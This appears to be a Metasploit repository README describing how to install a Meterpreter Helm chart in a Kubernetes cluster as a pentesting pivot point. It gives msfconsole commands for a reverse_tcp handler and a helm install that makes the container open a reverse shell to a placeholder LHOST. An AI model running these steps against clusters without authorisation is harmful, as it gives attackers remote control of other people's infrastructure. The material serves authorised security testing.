adfoster-r7 ee093d0c21 Meterpreter Helm chart tweaks | 2 years ago | |
---|---|---|
.. | ||
meterpreter | ee093d0c21 Meterpreter Helm chart tweaks | 2 years ago |
.gitignore | ee093d0c21 Meterpreter Helm chart tweaks | 2 years ago |
Makefile | ee093d0c21 Meterpreter Helm chart tweaks | 2 years ago |
README.md | ee093d0c21 Meterpreter Helm chart tweaks | 2 years ago |
The most common workflow to test a Kubernetes environment with Metasploit is to target the Kubernetes API externally, or through a compromised container - both of these workflows are currently supported directly within msfconsole.
An alternative to compromising a Kubernetes container to gain a Meterpreter session is to install the meterpreter
helm chart into
a Kubernetes environment directly. This newly opened Meterpreter session will act as the pivot point for running additional
Metasploit modules, similar to the behavior of compromising an existing Kubernetes container with msfconsole.
To install the Metasploit resources in to your Kubernetes environment:
make create-kind-cluster
A penester should create a Metasploit listener from msfconsole:
use payload/linux/x64/meterpreter/reverse_tcp
set LHOST x.x.x.x
set LPORT 4444
to_handler
Install meterpreter helm chart by running:
export LHOST="x.x.x.x"
export LPORT="4444"
helm upgrade --create-namespace -i -n metasploit meterpreter ./meterpreter --set lhost=$LHOST --set lport=$LPORT
The Meterpreter container can be deployed with different privileges and permissions - see the privileges
section within
./meterpreter/values.yaml for more details.